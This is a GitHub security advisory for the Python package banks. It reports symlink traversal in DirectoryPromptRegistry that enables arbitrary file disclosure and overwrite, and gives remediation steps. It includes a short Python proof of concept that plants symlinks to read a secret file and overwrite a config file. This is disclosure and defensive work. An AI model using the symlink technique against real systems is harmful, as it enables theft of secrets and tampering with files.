GitHub Advisoryadvisory · PyPI

GHSA-556j-vv39-8rqv Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry

MEDIUM Published 2026-10-08 Modified 2026-10-08 Official page ↗
Aliases
CVE-2026-107716
Ecosystem
PyPI
Packages
banks
Severity
Moderate
Weaknesses
CWE-22, CWE-59
Reviewed
2026-10-08

Affected packages

• PyPI banks: < 2.5.1 → fixed in 2.5.1

Description

Summary In `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`. Details Following PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However: 1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`. 2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. 3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root. Impact Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives. Proof of Concept ```python import os from pathlib import Path from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME from banks.prompt import Prompt Disclose external file via symlink in prompt directory reg_dir = Path("/tmp/registry") reg_dir.mkdir(exist_ok=True) secret = Path("/tmp/secret.txt") secret.write_text("SECRET_API_TOKEN") os.symlink(secret, reg_dir / "leak.0.jinja") reg = DirectoryPromptRegistry(reg_dir, force_reindex=True) print("Disclosed content:", reg.get(name="leak", version="0").raw) Overwrite external file via symlink index target = Path("/tmp/target.conf") target.write_text("ORIGINAL") (reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True) os.symlink(target, reg_dir / DEFAULT_INDEX_NAME) reg.set(prompt=Prompt("pwn", name="test", version="1")) print("Target overwritten:", target.read_text()) ``` Remediation 1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`. 2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`. 3. In `set()`: reject existing symbolic links before writing. A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting

Related

Alias · CVE (1)

  • CVE-2026-107716 Banks generates meaningful LLM prompts using a simple template language. vulnerability

Weakness · CWE (2)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-59 Improper Link Resolution Before File Access weakness

References